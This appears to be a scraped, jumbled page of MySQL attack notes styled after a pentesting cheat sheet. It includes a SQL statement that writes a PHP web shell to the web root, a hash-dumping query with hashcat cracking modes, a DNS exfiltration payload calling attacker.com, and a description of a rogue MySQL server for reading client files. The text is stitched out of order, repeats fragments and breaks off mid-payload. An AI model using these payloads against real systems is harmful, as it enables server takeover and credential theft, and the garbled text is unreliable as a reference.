Mysql Hacktricks Verified ❲2026 Release❳

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'; If OUTFILE fails due to newline issues, use INTO DUMPFILE with hex:

SELECT user, host, authentication_string FROM mysql.user; Use hashcat -m 300 for mysql_native_password (4 bytes salt + 20 bytes SHA1) or -m 7400 for caching_sha2_password. mysql hacktricks verified

Your fake server sends a LOAD DATA LOCAL INFILE request during handshake. Vulnerable clients (e.g., old PHP mysqli with allow_local_infile=ON , MySQL Workbench, or outdated connectors) will send back any file the client user can read. SELECT "&lt;

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT hex(version())), '.attacker.com\\test')); If error-based or union-based injection fails, try Time-based + DNS. But for direct DB access, use the sys_exec UDF to run nslookup or curl . Part 4: Lateral Movement and Credential Harvesting 4.1 Dumping Password Hashes MySQL stores credentials in mysql.user . Hash types: mysql_native_password (SHA1-based) or caching_sha2_password (MySQL 8+). SELECT LOAD_FILE(CONCAT('\\\\', (SELECT hex(version())), '

Use hex encoding to avoid illegal characters.

Use RogueMySQL or mysql-fake-server tools. The payload is: